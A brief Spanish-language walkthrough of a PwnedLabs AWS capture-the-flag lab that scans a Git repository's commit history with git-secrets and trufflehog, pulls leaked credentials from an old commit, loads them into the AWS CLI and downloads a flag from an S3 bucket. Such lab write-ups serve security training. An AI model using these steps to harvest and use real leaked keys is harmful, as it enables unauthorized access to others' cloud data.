Hunt for Secrets in Git Repos
Aws PwnedLabs
git clone https://github.com/huge-logistics/cargo-logistics-dev

Nos metemos al archivo que acabamos de generar
cd cargo-logistics-dev
git-secrets --install
Instalamos la herramienta git-secrets

git-secrets --register-aws
git-secrets --scan
Escaneamos y no encontramos nada.

Vemos que Ian hizo como 6 commits.

git-secrets --scan-history

git show d8098af5fbf1aa35ae22e99b9493ffae5d97d58f:log-s3-test/log-upload.php
Vemos un par de credenciales.

Lo mismo pero por la interfaz de github.

trufflehog filesystem .

grep -R "mysqli_connect" . 2> /dev/null

aws configure
Metemos las credenciales que habiamos encontrado en el repo de github.

aws s3 ls huge-logistics-transact
aws s3 cp s3://huge-logistics-transact/flag.txt .
batcat flag.txt
